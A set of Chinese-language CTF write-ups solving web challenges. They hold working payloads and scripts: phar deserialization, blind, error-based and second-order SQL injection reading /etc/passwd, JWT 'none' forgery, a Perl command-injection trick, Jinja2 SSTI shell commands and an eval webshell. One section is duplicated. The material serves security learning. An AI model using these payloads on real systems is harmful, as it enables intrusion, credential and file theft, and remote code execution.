SWPUCTF 2018SimplePHP

界面简洁 不错不错
查看文件那可以看到一个**?file= 感觉有任意文件读取漏洞**
nice 可以 拿到file.php 然后有这个知道还有function.php class.php
那些文件的源码
链接:https://pan.baidu.com/s/1cNEZut1YESQmT5bI2YCduQ
提取码:1234
太长了就不放了
文件包含被过滤了 class.php那边 确实过滤了f1ag.php

1
2
3
4
5
6
7
public function _show()
{
if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
die('hacker!');
} else {
highlight_file($this->source);
}

连unseriaze() 都没有 但是看到了个phar感觉可以利用
首先得找到触发的魔术方法
C1e4r类有_ _destruct() 在对象被销毁时调用 程序结束时会被自动调用 销毁对象

1
2
3
4
5
public function __destruct()
{
$this->test = $this->str;
echo $this->test;
}

还有这个echo也可以利用

show类中_ _toString()
_ _toString 将一个对象转化成字符串的时候自动调用 比如echo print 会被调用并返回一个字符串

1
2
3
4
5
public function _ _toString()
{
$content = $this->str['str']->source;
return $content;
}

利用这个$this
Test类中_ _get()
_ _get() 当未定义的属性或没有权限访问的属性被访问时会调用该方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public function __get($key)
{
return $this->get($key);
}
public function get($key)
{
if(isset($this->params[$key])) {
$value = $this->params[$key];
} else {
$value = "index.php";
}
return $this->file_get($value);
}
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}

利用$this->get —>$this->file_get($value) —>base64_encode(file_get_contents($vale));
调用了file_get_contents 函数的file_get函数很重要 一般到调用了file_get_contents就可以认为链的结束

触发:
C1e4r::destruct()->show::toString()->test::get()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
class C1e4r
{
public $test;
public $str;
}

class Show
{
public $source;
public $str;
}
class Test
{
public $file;
public $params;

}

$c1e4r = new C1e4r();
$show = new Show();
$test = new Test();
$test->params['source'] = "/var/www/html/f1ag.php";
$c1e4r->str = $show; //利用 $this->test = $this->str; echo $this->test;
$show->str['str'] = $test; //利用 $this->str['str']->source;


$phar = new Phar("aaa.phar"); //.phar文件
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ? >'); //固定的
$phar->setMetadata($c1e4r); //触发的头是C1e4r类,所以传入C1e4r对象
$phar->addFromString("exp.txt", "test"); //随便写点什么生成个签名
$phar->stopBuffering();

?>

phar后缀被禁止了 得改成gif

1
2
$filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg";   

得知道一下被改后的文件名

1
aaa.gif222.90.67.205 md5 一下

然后发现一个很神奇的 上传目录是开着的 ┗|`O′|┛ 那都不用算了

1
file.php?file=phar://upload9030a3b2a4bb01f912500bf84dcc370d.jpg

得到base64加密的内容 解码一下就能拿到flag了

GYCTF2020Ezsqli

是个盲注题
但是过滤了好多好多好多东西

1
or union select(合在一起不行) information (这个被禁了基本只能盲注和无列名注入)

无列名注入

1
2
3
4
测试:
id=2||1=1 返回nu1l
id=2||1=2 返回v&n
真返nu1l 假返回v&n

183.PNG

184.PNG

走脚本爆表名字
通过无列名注入 innodb引擎或者sys数据库可以使用但是只能拿到表名

1
2
3
4
5
6
7
8
9
10
11
12
13
import requests
url = 'http://a03e17c8-164f-47d2-8874-ccb3a48278d2.node4.buuoj.cn:81/'
payload = '2||ascii(substr((select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database()),{},1))={}'
result = ''
for j in range(1,500):
for i in range(32, 127):
py = payload.format(j,i)
post_data = {'id': py}
re = requests.post(url, data=post_data)
if 'Nu1L' in re.text:
result += chr(i)
print(result)
break

拿到表名

无列名注入:

类似于给列名取别的名字 取名字的同时进行查询数据
我的user表有三列 试一下无列名查找

发现得到了一个虚拟表 列名分别为1,2,3 储存了user表的数据

186.PNG

注意:查询时语句的字段数必须和指定表中一样不能多不能少不然就等着报错吧

187.PNG

可以查询第二列的数据 虚拟表中列名都是1,2,3 所有查询语句得用

1
`2`

不能直接用2 末尾的n用来命名的可以随便字符

188.PNG

但是有时候`也会被过滤就得用到另取别名法

此时构造的虚拟表列名就变成a,b,c 查询就可以直接通过abc来

189.PNG

190.PNG

这边用ascii偏移比较两个字符串的大小
两个字符串的大小比较与长度没有关系都只会比较字符串首字符的ascii码来比较 不等式成立返回1 不成立返回0
也就是说只会比较以此 也就是首字符 写一个循环 ascii从32 到128 与flag的字符一一对比 满足返回nu1l 输出符合条件的ascii码对应的字符
以此类推输出flag所有的字符
老样子 脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests
url = 'http://e47846ae-bc04-445f-aab3-e51cec5018a0.node4.buuoj.cn/'
def add(flag):
res = ''
res += flag
return res
flag = ''
for i in range(1,200):
for char in range(32, 127):
hexchar = add(flag + chr(char))
payload = '2||((select 1,"{}")>(select * from f1ag_1s_h3r3_hhhhh))'.format(hexchar)
#print(payload)
data = {'id':payload}
r = requests.post(url=url, data=data)
text = r.text
if 'Nu1L' in r.text:
flag += chr(char-1)
print(flag)
break


HFCTF2020EasyLogin

一点php都没看见 那就只能是js了 f12 看到一个app.js 这是基于node.js的koa框架
然而这边什么都没有
百度找找koa框架的目录结构

1
2
 controllers目录是项目控制器存放目录:接受请求,处理逻辑
访问controllers/api.js发现处理逻辑
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
const crypto = require('crypto');
const fs = require('fs')
const jwt = require('jsonwebtoken')

const APIError = require('../rest').APIError;

module.exports = {
'POST /api/register': async (ctx, next) => {
const {username, password} = ctx.request.body;

​ if(!username || username === 'admin'){
​ throw new APIError('register error', 'wrong username');
​ }

​ if(global.secrets.length > 100000) {
​ global.secrets = [];
​ }

​ const secret = crypto.randomBytes(18).toString('hex');
​ const secretid = global.secrets.length;
​ global.secrets.push(secret)

​ const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'});

​ ctx.rest({
​ token: token
​ });

​ await next();
},

'POST /api/login': async (ctx, next) => {
const {username, password} = ctx.request.body;

​ if(!username || !password) {
​ throw new APIError('login error', 'username or password is necessary');
​ }

​ const token = ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorization;

​ const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;

​ console.log(sid)

​ if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
​ throw new APIError('login error', 'no such secret id');
​ }

​ const secret = global.secrets[sid];

​ const user = jwt.verify(token, secret, {algorithm: 'HS256'});

​ const status = username === user.username && password === user.password;

​ if(status) {
​ ctx.session.username = username;
​ }

​ ctx.rest({
​ status
​ });

​ await next();
},

'GET /api/flag': async (ctx, next) => {
if(ctx.session.username !== 'admin'){
throw new APIError('permission error', 'permission denied');
}

​ const flag = fs.readFileSync('/flag').toString();
​ ctx.rest({
​ flag
​ });

​ await next();
},

'GET /api/logout': async (ctx, next) => {
ctx.session.username = null;
ctx.rest({
status: true
})
await next();
}

};

需要admin 才能拿到flag

1
2
3
4
5
6
7
8
9
10
 'POST /api/register': async (ctx, next) => {
const {username, password} = ctx.request.body;

​ if(!username || username === 'admin'){
​ throw new APIError('register error', 'wrong username');
​ }

​ if(global.secrets.length > 100000) {
​ global.secrets = [];
​ }

但是注册又没法注册admin 只能通过伪造我们是admin来登陆了
处理逻辑这边看到了jwt

1
2
const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'});
const user = jwt.verify(token, secret, {algorithm: 'HS256'});

伪造假的jwt https://www.freebuf.com/articles/web/181261.html
跑jwtsecret那个跑不出来太慢了

1
2
3
4
5
6
7
8
9
10
{
"alg": "none",
"typ": "JWT"
}
{
"secretid": [],
"username": "admin",
"password": "123456",
"iat": 1587632063
}

eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzZWNyZXRpZCI6W10sInVzZXJuYW1lIjogImFkbWluIiwicGFzc3dvcmQiOiAiMTIzNDU2IiwiaWF0IjogMTU4NzYzMjA2M30.
然后注册一个账号 登录过程抓包一下改一下

179.PNG

登陆成功抓一下get flag那个请求的包就能拿到flag

HITCON 2017SSRFme

这考点是get的任意命令执行 调用命令get来执行从url中获取的参数 然后按照filename新建文件写入get的结果
perl里的get函数底层就是调用了open处理

1
2
3
4
5
6
7
8
file.pm
84: opendir(D, $path) or
132: open(F, $path) or return new
perl脚本中get命令执行漏洞
touch 'id|'
GET ’file:id|'

uid=0(root) gid=0(root) groups=0(root)

在perl下如果open第二个参数(path)可控就能进行任意代码执行 就类似于把一个文件名拼接入命令导致的命令执行
这题给了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']); // explode(separator,string)函数把以separator为分隔字符串将字符串打散为数组。
$_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
}

echo $_SERVER["REMOTE_ADDR"];

$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]); // “REMOTE_ADDR”为正在浏览当前页面用户的 IP 地址。
@mkdir($sandbox);
@chdir($sandbox); // 改变当前的目录到$sandbox

$data = shell_exec("GET " . escapeshellarg($_GET["url"])); // escapeshellarg()把字符串转码为可以在 shell 命令里使用的参数
$info = pathinfo($_GET["filename"]); // pathinfo() 函数以数组的形式返回文件路径的信息。
$dir = str_replace(".", "", basename($info["dirname"])); // basename() 函数返回路径中的文件名部分。
@mkdir($dir);
@chdir($dir);
@file_put_contents(basename($info["basename"]), $data);
highlight_file(__FILE__);
// 以上代码大致为,调用GET(git)命令来执行从url获取的参数,从该url获取内容, 然后按照filename新建文件,写入git到的结果。

***escapeshellarg($arg)把字符串转码成可在shell命令函数*执行的参数,

1
给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号

确保能直接将一个字符串传入shell函数 而且还是确保安全的。输入的部分参数就会使用这个函数 shell函数包含exec() system() 反引号(``) arg:需要被转码的参数

1
2
3
4
pathinfo() 返回一个数组包含path的信息 有一下几个数组元素
[dirname] //路径
[basename] //文件名
[extension] //拓展名

比如:

对传入的参数进行escapeshellarg函数过滤 创建一个目录 sandbox/md5(orange+ip) 然后执行get$_get[‘url’] 然后创建文件夹
并将get后的结果放入该文件夹下filename传入文件中

171.PNG

remote_addr显示当前浏览该页面用户的ip题目已给出
sandbox的目录就是sandbox/09813651a41a9196d2053cdecf08dd70

先创建文件aaa然后访问 ?url=/&filename=aaa

169.PNG

然后访问sandbox/09813651a41a9196d2053cdecf08dd70/aaa

170.PNG

一个readflag 一个flag 正常是得执行readflag然后才能拿到flag

perl的open命令可能造成命令执行
首先得满足文件存在然后才会继续open语句 所有执行命令前得先搞一个同名文件

1
2
3
?url=&filename=bash -c /readflag| 先创建一个bash -c /readflag| 的文件 用于之后的命令执行
?url=file:bash -c /readflag|&filename=aaa 再利用get执行bash -c /readflag|保存到文件中
访问 aaa即可

172.PNG

HITCON 2017SSRFme

这考点:get的任意命令执行 调用命令get来执行从url中获取的参数 然后按照filename新建文件写入get的结果
perl里的get函数底层就是调用了open处理

1
2
3
file.pm
84: opendir(D, $path) or
132: open(F, $path) or return new

perl脚本中get命令执行漏洞

1
2
3
4
touch 'id|'
GET ’file:id|'

uid=0(root) gid=0(root) groups=0(root)

在perl下如果**open第二个参数(path)**可控就能进行任意代码执行 就类似于把一个文件名拼接入命令导致的命令执行
这题给了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']); // explode(separator,string)函数把以separator为分隔字符串将字符串打散为数组。
$_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
}

echo $_SERVER["REMOTE_ADDR"];

$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]); // “REMOTE_ADDR”为正在浏览当前页面用户的 IP 地址。
@mkdir($sandbox);
@chdir($sandbox); // 改变当前的目录到$sandbox

$data = shell_exec("GET " . escapeshellarg($_GET["url"])); // escapeshellarg()把字符串转码为可以在 shell 命令里使用的参数
$info = pathinfo($_GET["filename"]); // pathinfo() 函数以数组的形式返回文件路径的信息。
$dir = str_replace(".", "", basename($info["dirname"])); // basename() 函数返回路径中的文件名部分。
@mkdir($dir);
@chdir($dir);
@file_put_contents(basename($info["basename"]), $data);
highlight_file(__FILE__);
// 以上代码大致为,调用GET(git)命令来执行从url获取的参数,从该url获取内容, 然后按照filename新建文件,写入git到的结果。



**escapeshellarg($arg)**把字符串转码成可在shell命令函数执行的参数,给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号
确保能直接将一个字符串传入shell函数 而且还是确保安全的。输入的部分参数就会使用这个函数 shell函数包含exec() system() 反引号(``)

arg:需要被转码的参数

1
2
3
4
pathinfo() 返回一个数组包含path的信息 有一下几个数组元素
[dirname] //路径
[basename] //文件名
[extension] //拓展名

比如:

171.PNG

对传入的参数进行escapeshellarg函数过滤 创建一个目录 sandbo/md5(orange+ip) 然后执行get$_get[‘url’] 然后创建文件夹
并将get后的结果放入该文件夹下filename传入文件中

remote_addr显示当前浏览该页面用户的ip题目已给出
sandbox的目录就是sandbox/09813651a41a9196d2053cdecf08dd70

先创建文件aaa然后访问 ?url=/&filename=aaa

169.PNG

然后访问sandbox/09813651a41a9196d2053cdecf08dd70/aaa

170.PNG

一个readflag 一个flag 正常是得执行readflag然后才能拿到flag

1
2
3
4
perl的open命令可能造成命令执行
首先得满足文件存在然后才会继续open语句 所有执行命令前得先搞一个同名文件
?url=&filename=bash -c /readflag| 先创建一个bash -c /readflag| 的文件 用于之后的命令执行
?url=file:bash -c /readflag|&filename=aaa 再利用get执行bash -c /readflag|保存到文件中

访问 aaa即可

172.PNG

网鼎杯 2018Comment

又是什么都没有的页面
写文章发现得登录

1
提示了zhangwei zhangwei*** 

直接输搞不了 这***是要替换的
burp爆破一下就OK了

扫后台 .git
githacker可以弄一波
https://github.com/wangyihang/githacker 这个才能将整个包爬下来
感觉原源代码不完整修复一下

1
git log --reflog 

看一下操作记录

恢复文件

1
git reset --hard e5b2a2443c2b6d395d06960123142bc91123148c

163.PNG

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
header("Location: ./login.php");
die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
$category = addslashes($_POST['category']);
$title = addslashes($_POST['title']);
$content = addslashes($_POST['content']);
$sql = "insert into board
set category = '$category',
title = '$title',
content = '$content'";
$result = mysql_query($sql);
header("Location: ./index.php");
break;
case 'comment':
$bo_id = addslashes($_POST['bo_id']);
$sql = "select category from board where id='$bo_id'";
$result = mysql_query($sql);
$num = mysql_num_rows($result);
if($num>0){
$category = mysql_fetch_array($result)['category'];
$content = addslashes($_POST['content']);
$sql = "insert into comment
set category = '$category',
content = '$content',
bo_id = '$bo_id'";
$result = mysql_query($sql);
}
header("Location: ./comment.php?id=$bo_id");
break;
default:
header("Location: ./index.php");
}
}
else{
header("Location: ./index.php");
}
?>


完整源码

加入了addslashes()进行过滤准备的但是这也能造成漏洞点

这边有俩功能一个发帖(write)一个评论(comment)
都有addslashes()进行转义但仅限于写入过程 读取并没有 就可以进行二次注入
二次注入表现为,addslashes过滤后产生的\不会进入数据库,即’1过滤后变成'1,进入库中却仍为’1,我们在取出数据后就可以进行闭合
闭合了单引号后还需要注释 #只能用于单行注释 多行注释需要

1
/**/ 

从而进行拼接的注释完成注册后comment 写

1
*/# 

拼接起来就可以造成闭合了
写的地方构造category为

1
', content=user(),/*

留言处输入

164.PNG

1
*/# 

最后表现形式为

1
2
3
4
$sql = "insert into comment
set category = ' ',content=user(), /*',
content = '*/#',
bo_id = '$bo_id'";

165.PNG

相当于构造了新的content, 原来的被/**/注释掉了完成了二次注入

这边用户为root如此高级的权限

1
2
3
尝试load_file()读取文件

', content=load_file('/etc/passwd'),/*

166.PNG

1
2
3
4
', content=load_file('/home/www/.bash_history'),/*
读取历史操作

.DS_Store在html里面还有

走起

1
', content=hex(load_file('/tmp/html/.DS_Store')),/*

得到一串十六进制数据
解码一下

167.PNG

然后

1
', content=load_file('/tmp/html/flag_8946e1ff1ee3e40f.php'),/* 

这是假的flag
换一个目录读取

1
', content=load_file('/var/www/html/flag_8946e1ff1ee3e40f.php'),/*

168.PNG

CSCCTF 2019 QualFlaskLight

源码 get型 页面这边searched

159.PNG

160.PNG

那么应该就是通过?search传参

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2
可以用到网站讲了ssti注入
先试一下是什么框架

161.PNG

jinja2框架

1
?search={{ ''.__class__.__mro__[2].__subclasses__() }}

显示所有的类

162.PNG

测试可用的类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import requests
import re
import html
import time

index = 0
for i in range(170, 1000):
try:
url = "http://02e2317d-6141-483a-916e-7c9efd4d571d.node4.buuoj.cn:81/?search={{''.__class__.__mro__[2].__subclasses__()[" + str(i) + "]}}"
r = requests.get(url)
res = re.findall("<h2>You searched for:<\/h2>\W+<h3>(.*)<\/h3>", r.text)
time.sleep(0.1)
# print(res)
# print(r.text)
res = html.unescape(res[0])
print(str(i) + " | " + res)
if "subprocess.Popen" in res:
index = i
break
except:
continue
print("indexo of subprocess.Popen:" + str(index))
1
2
3
4
?search={{''.__class__.__mro__[2].__subclasses__()[258]('ls',shell=True,stdout=-1).communicate()[0].strip()}}
?search={{''.__class__.__mro__[2].__subclasses__()[258]('ls /flasklight',shell=True,stdout=-1).communicate()[0].strip()}}
?search={{''.__class__.__mro__[2].__subclasses__()[258]('cat /flasklight/coomme_geeeett_youur_flek',shell=True,stdout=-1).communicate()[0].strip()}}
?search={{ config.items()[4][1].__class__.__mro__[2].__subclasses__()[40]("/flasklight/coomme_geeeett_youur_flek").read() }} (也可以用来读取flag)

ciscn2021 cyberpunck

2077 让我血亏的游戏 ┗|`O′|┛
扫后台啥也没有 抓包也没发现什么
右键源码发现

1
php伪协议可以使用?file=php://filter/convert.base64-encode/resource=delete.php

change confirm delete index search这些全可以下载下来

所有地方都过滤挺好就是change
$address = addslashes($_POST[“address”]); 进行了一些转义
这边将地址给带入sql了
传入user_name 和phone的参数都没有问题 传入有问题的address参数会存入数据库中 当下一次正常查询数据就会触发造成sql注入

157.PNG

使用报错注入就能查到想要的数据

进行报错注入 报错注入一次只能回显30位

1
2
3
4
5
6
//数据库 1' where user_id=updatexml(1,concat(0x7e,(select substr(database(),1,20)),0x7e),1)# 
//表名 1' where user_id=updatexml(1,concat(0x7e,(select substr(table_name,1,20)from information_schema.tables where table_schema='ctfusers'),0x7e),1)#
//字段 1' where user_id=updatexml(1,concat(0x7e,(select substr(group_concat(column_name),1,20)from information_schema.columns where table_name='user'),0x7e),1)#
//数据
1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),1,30)),0x7e),1)#
1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),30,60)),0x7e),1)#

158.PNG

CISCN2019 总决赛 Day2 Web1Easyweb

扫后台找到robots.txt

提示了些信息 DIsallow*.php.bak

访问image.php.bak

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
include "config.php";

$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";

$id=addslashes($id);
$path=addslashes($path);

$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);

$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);

$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);

测试:

?id=\0&path=or if(length(database())>1,3,1) %23访问成功 又是得盲注了

151.PNG

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
import time
import requests
import sys
import string
import logging


# LOG_FORMAT = "%(lineno)d - %(asctime)s - %(levelname)s - %(message)s"

# logging.basicConfig(level=logging.DEBUG, format=LOG_FORMAT)

target="http://994977fa-91b0-48fe-92c8-1e029285d13a.node4.buuoj.cn/image.php?id=\\0'&path=or "
#库名
dataStr="(database())"
#表名
#dataStr="(select(group_concat(table_name))from(information_schema.tables)where(table_schema)=database())"
#列名
#dataStr="(select(group_concat(column_name))from(information_schema.columns)where(table_name)=0x7573657273)"
#数据
#dataStr="(select(group_concat(username,password))from(users))"
def binaryTest(i,cu,comparer):
payloads='ascii(substr({},{},1)){comparer}{}%23'
s=requests.get(target+payloads.format(dataStr,i,cu,comparer=comparer))
if 'JFIF' in s.text:
return True
else:
return False


def searchFriends_sqli(i):
l = 0
r = 255
while (l <= r):
cu = (l + r) // 2
if (binaryTest(i, cu, "<")):
r = cu - 1
elif (binaryTest(i, cu, ">")):
l = cu + 1
elif (cu == 0):
return None
else:
return chr(cu)


def main():
print("start")
finres=""
i=1
while (True):
extracted_char = searchFriends_sqli(i)
if (extracted_char == None):
break
finres += extracted_char
i += 1
print("(+) 当前结果:"+finres)
print("(+) 运行完成,结果为:", finres)

if __name__=="__main__":
main()

别的大佬的脚本

这边爆出表名users后的将其转为十六进制 因为过滤了单引号双引号0x7573657273

152.PNG

153.PNG

爆完数据登入
传文件 可以传入phtml

但是提示将文件名写入日志文件中

155.PNG

那就可以

1
filename="<?= @eval($_POST['hack']); ?>"  

用短标签绕过

156.PNG

蚁剑连接一下就好了

154.PNG

Zer0pts2020Can you guess it

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
include 'config.php'; // FLAG is defined in config.php

if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
exit("I don't know what you are thinking, but I won't let you read it :)");
}

if (isset($_GET['source'])) {
highlight_file(basename($_SERVER['PHP_SELF']));
exit();
}

$secret = bin2hex(random_bytes(64));
if (isset($_POST['guess'])) {
$guess = (string) $_POST['guess'];
if (hash_equals($secret, $guess)) {
$message = 'Congratulations! The flag is: ' . FLAG;
} else {
$message = 'Wrong.';
}
}
?>

这边有个random 随机数 但是这hash还要相等所以想要从这边随机数拿到flag不可能了

1
2
3
4
5
6
7
if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
exit("I don't know what you are thinking, but I won't let you read it :)");
}
if (isset($_GET['source'])) {
highlight_file(basename($_SERVER['PHP_SELF']));
exit();
}

正则匹配禁了config.php 但是之后却会highlight_file()
这边还有basename() 为了跨目录读取文件
访问index.php后面加上config.php

147.PNG

因为加了basename()的原因传入highlight_file()函数的文件名就变成config.php
绕过那个正则就可以拿到config.php
这个正则匹配例如config.php/ 正则匹配第一行那就%0d换行绕过
传入 index.php/config.php%0d 变成访问index.php

148.PNG

1
$_SERVER[‘PHP_SELF’] 

表示当前执行脚本的文件名当使用了PATH_INFO时这个值可控
尝试

1
用index.php/config.php?source来读取flag

正则过滤了config.php /*$/ i
basename() 的一个问题会将问今名开头的非ascii值去掉

var_dump(basename(“xffconfig.php”)); // => config.php
var_dump(basename(“config.php/xff”)); // => config.php

就能绕过正则 %ff?source
最终payload index.php/config.php%ff?source

149.PNG